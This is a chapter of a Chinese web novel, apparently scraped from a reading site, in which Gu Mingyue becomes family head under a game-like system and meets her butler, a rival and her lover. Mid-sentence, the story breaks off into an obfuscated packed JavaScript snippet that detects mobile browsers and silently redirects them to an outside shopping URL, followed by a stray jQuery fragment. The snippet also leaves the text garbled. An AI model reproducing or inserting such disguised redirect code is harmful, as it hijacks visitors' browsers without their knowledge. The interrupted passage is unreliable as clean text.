她也想问。
家主之位像白送她的,但系统任务的描述又让她觉得自己早有谋划。
难道她忘了什么重要的事情吗?
【月神来信】
【感觉自己每天好呆萌,好懵呀,怎么就活成这样了?好疑惑呀,我就这样呆呆地望着这个世界,懵死了。[1]】
【你成为家主应该是有原因的吧。】
长老院不再开口,管家组织了下语言,“在圣书里,月神的信使一直有双尾蛇担任。众所周知,‘蛇’的笔画数只有十一,‘家主’有十五笔,而‘蛇’加上四笔画的‘月’就与‘家主’相同了。由此可见,蛇是伟大的、至高的月神派下来帮助顾家决定家主的。”
他面不改色地编造说辞,一副言之凿凿的样子,“不然为什么出现了这么多蛇,却只有一条蛇待在了家主身上?自然是因为如果有两条蛇,总笔画数就对不上了,无法更好地传达月神旨意。”
众人:?
顾明越觉得这更像月神要派蛇来弄死自己。
顾之庭双手环胸,皱眉问:“谁被蛇缠上谁就是?那我现在就在身上涂点吸引蛇的草药,蛇要是来了,是不是也说明月神选中了我?”
顾明越抬眼看他,却见顾之庭的目光似有似无地落在了高处。
他是在看哪位长老吗?
管家冷淡道:“很遗憾,仪式已经结束了。顾家已经拥有了新的家主。”
【主线任务(一):“登基”已完成】
【第一章已完成】
【恭喜玩家获得奖励:迪斯科灯球*1】
【已将奖励放入背包】
【开启第二章】
【第二章执棋落子】
【新的一局拉开帷幕,舞台之上,年轻的执棋者已经就位。权钱与名利不过谈笑筹码,信任与猜忌不断流转。重用谁,打压谁,驱逐谁,都由你来决定。】
【主线任务(二)成为真正的家主】
【他们忠诚你,或是畏惧你,总归要服从你。】
顾明越抬起头看向高处,那里已经没有人了。
长老院来得悄无声息,走得也是。
而管家静静地望着自己,等待着吩咐。
顾明越笑了笑,“已经很晚了,大家都回去睡一会儿?”
“……遵从您的命令。”
所有人尽力控制住脸上僵硬的神情,顾之庭深吸一口气,勉强掩下难看的神色,也只得与大家一同垂首道:“遵从您的命令。”
直到整个圣堂只剩她和管家二人,管家微微弯腰伸出手示意方向,恭敬地为她引路。
月神圣像下有条隐秘的地道,可以直通家主的住处。
地道狭窄,管家端着烛台,有时会提醒她小心脚下台阶。
一豆烛火在他脸上投下流转变幻的光影,温暖的烛光沉在他眼底却渡着冷意。顾明越环视周围,觉得这个地道可以轻而易举地解决“杀人容易抛尸难”这个重大问题。
她摸了摸口袋里的双尾蛇徽章,忽然问:“其实还挺让人意外的。”
烛台上忽然跳起的火光让镜片后的眼轻轻闪了下,他垂下眼,冷淡道:“没有人会去忤逆月神的选择。”
“万一有蛇伤人,岂不是很麻烦?”也很不吉利。
陆执川谦恭地在胸口画了个残月,“在圣堂,月神永远会保护祂的信徒。”
顾明越眉梢微挑。
书房已经完全抹去了上任家主存在过的痕迹,一切都是崭新的。
桌上积压着两叠厚厚的公文,一幅巨大的世界地图悬挂在墙面上。
顾明越随手翻了翻桌上等待处理的事件。
【警惕!恶龙在靠近!我们需要勇者!】
【安夫人药圃面临倒闭风险,这样下去我就买不到祷告要用的草药了。】
【鹅蛋街N3号路灯坏了,从11日到现在时亮时不亮的,吓得这附近的母鸡都不下蛋了。】
【最近家族生产出的苹果都太糯了,而且很小啊,吃起来像巨怪的呕吐物,呃呃呃,招魂脆苹果~招魂脆苹果~招魂脆苹果~】
顾明越:……
她要处理的事情是不是太多了一点?
管家说道:“上一任家主去世后积压了很多文件,我无权处置这些,一切还需要您来定夺。”
这些文件里包含各种杂七杂八的东西——需要家主知道,家主应该知道,家主可以知道,家主如果想知道那就知道吧。
顾明越在审视他,而他也同样在审视顾明越。
她比任何一任家主都要年轻。
顾明越语气温和:“一直不知道,管家先生叫什么名字?”
“陆执川。”
【人物档案已更新】
【陆执川】
【管家,上一任家主信赖的副手。或许现在是你的人(?)。】
在顾明越之前,陆执川作为副官追随过五位上司,作为管家辅佐过两位家主。
所有初握大权的人总是急着凸显自己的存在感,他们会要求知道所有消息,拥有最大的决策权,于是囫囵咽下那些数字,最后吐出些痴人说梦的决策。
这位与先前几任又会有什么不同?
“这些事全部都要由家主来处理吗?”她伸出手按住最顶上的文件,往下压了压,高度几乎不变,非常夯实。
现在是凌晨一点。
“有些可以由您忠诚的仆人为您代劳,但如果你认为他们并不可信……”他没有说下去。
顾明越的支系出身注定了她没有接受过太多这方面的训练,她现在接触的消息越繁杂,越会让她晕头转向。
陆执川乐见其成。
她却没有接话,目光落在面前两叠公文里,似乎有点疑惑,但还是从中抽出了两份文件。
陆执川顺着她的视线望去,面色微不可见地一变。
……为什么偏偏选中了它们?
顾明越陷入沉思,
在一众灰扑扑的公文里,只有两份文件闪着金灿灿的光,透着一股不同凡响的气息。
毫无疑问,它们绝对是最有分量的事件。
顾明越:“还要有劳管家先生帮忙处理,如果不急的话,明天再说吧。现在已经很晚了,我们都早点休息。”
她这张斯文平和的脸适合去做学者,投身于盈篇满籍,而非是来这边指点江山。
“是。”陆执川低下眼缓缓说道。
或许顾明越知道的事,比他预估得要多。
窗外溶溶月光似水,似薄纱般笼罩住地上的影子。
“她现在会有些忙,可能无法来见你了。”顾蘅委婉地对眼前的青年说道。
圣堂里的人一个接一个出来,唯独缺少了顾明越的身影。
顾蘅和他都知道这意味着什么。
面前的青年有些意外,但很快掩饰了下来,转而高兴道:“太好了,没有人比她更值得这个位置了。”
郁时青记得
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17813094|210953||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
顾明越当初说自己会当上家主,但他从来都觉得这个可能性很小,没想到如今真的实现了。
顾蘅理解地笑了笑,确实没有什么比爱人能得偿所愿更令人快乐的了。
似是意识到顾蘅这个失败者还在旁边,他收敛了脸上的笑意,小心翼翼地开口:“抱歉,我今天不太舒服,先回去了。”
顾明越有顾家的事要忙,肯定也顾不上他。
顾蘅眼里带着些不明显的怜悯,宽容道:“路上小心。”
已经结束了,顾蘅也没有继续待下去的必要,侧过脸微微颔首,侍者了然地将他推回家中。
空无一人的卧室里,顾蘅点燃了祷告用的月见草,清冽的香气夹杂在呛人的烟里,他眼珠动了动,缓缓望向家主书房的位置。
“可怜的孩子。”他轻声道。
请千万、千万要在这个位置多活几天。
陆执川的办公点就在隔壁,与她的书房只用一道门隔开。
他离开后只剩顾明越一个人在书房,她打开了【背包】查看奖励。
【迪斯科灯球】
【C级共鸣物H057】
【在漫长的工作后,一场热闹的社交舞会正是你们所需要的。
用于舞会装饰。】
看起来一般。
顾明越轻轻摩挲着小指处刚刚带上的双尾蛇尾戒。这是顾家家主的象征,上面还刻了一句小字。
【???(生长中)】
【一行眼熟的符号】
【作为塞勒涅大学的高材生,你应当拥有解读古阿尔特语的能力。
但每一次考试都靠临时抱佛脚的你,自然也早已掌握了在交卷后的那一刻就把学到的知识忘干净的能力。
相信伟大而慈悲的月神会原谅你的不敬。】
顾明越:……
这个生长中是什么意思?系统出故障了吗,还是她大晚上不睡觉,脑子终于不清醒了?
顾明越晃了晃脑袋,起身推开门,门外被月光拖长的影子正好垂至她的脚尖。
听到身后的动静,走廊里的青年惊喜地转过身。大概是等了太久的缘故,他鼻尖和耳垂都被冷风冻得通红,像白玉上洇开的胭脂,他却毫不在意,抬眼展颜一笑:“明越,恭喜。”
“我想今天已经很晚了,你需要尽快休息。但我还是想过来跟你说一声恭喜。“
路灯的光照下,他眼睛亮亮的,含着坦荡的笑意,“恭喜你,得偿所愿。”
顾明越没想到他会来,“谢谢你。既然来了,怎么不让人通传一声,白等了这么久?”
“我不想打扰你。”
郁时青动了动僵硬的手指,从口袋里缓缓拿出一个锦盒,这个滞涩的动作让他显出些好玩的笨拙。
锦盒里是一个山茶花项链,比他的胸针还要精致。
他轻声说道:“愿月神庇佑你。”
“愿月神庇佑我们。”顾明越眨了眨眼,“可以帮我戴上吗?”
说话间,她解开了衬衫最上面的扣子,又将长发拢到一侧,“有劳。”
郁时青走到她身后,垂落的影子完完全全包裹住她。黑色的发丝如流水般滑落,掠过他小心翼翼抬起的冰冷的指尖,漾开一阵细密的,柔软的痒。
还没分清发丝的凉是被寒风吹冷的,还是被深夜的露水打湿了,顾明越身上浅淡的香气便先一步轻轻笼过来。
他的动作忽然一顿。
顾明越疑惑:“怎么了吗?”